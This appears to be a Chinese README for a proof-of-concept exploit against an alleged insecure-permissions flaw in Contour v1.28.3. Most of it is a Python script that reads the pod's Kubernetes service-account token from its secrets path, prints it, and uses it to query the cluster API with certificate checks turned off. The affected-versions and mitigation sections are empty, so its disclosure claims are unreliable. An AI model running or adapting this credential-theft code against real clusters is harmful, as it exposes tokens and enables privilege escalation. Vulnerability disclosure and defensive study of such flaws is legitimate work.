这是为 Contour v1.28.3 中不安全权限漏洞的概念验证 PoC 提供的 README.md:
此仓库包含一个概念验证 (PoC) 脚本,演示了 Contour v1.28.3 中的一个不安全权限漏洞。该漏洞允许攻击者通过获取服务账户的令牌来访问敏感数据并提升权限。
CVE-ID:(待定)
概述: Contour v1.28.3 存在不安全权限,允许攻击者访问服务账户的令牌。通过利用此漏洞,攻击者可以获取服务账户的令牌,该令牌可用于访问敏感数据,并可能在 Kubernetes 集群中提升权限。
受影响版本:
缓解措施:
此 PoC 脚本演示了如何在 Contour v1.28.3 中访问服务账户的令牌。请确保你有明确的授权来执行此测试。
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
要解决此漏洞:
有关保护 Contour 部署的更多信息,请参阅官方 Contour 文档。
此 README.md 提供了漏洞概述、演示该问题的 PoC 脚本以及如何缓解风险的说明。请确保负责任地使用此 PoC,且仅在你拥有明确授权的系统上使用。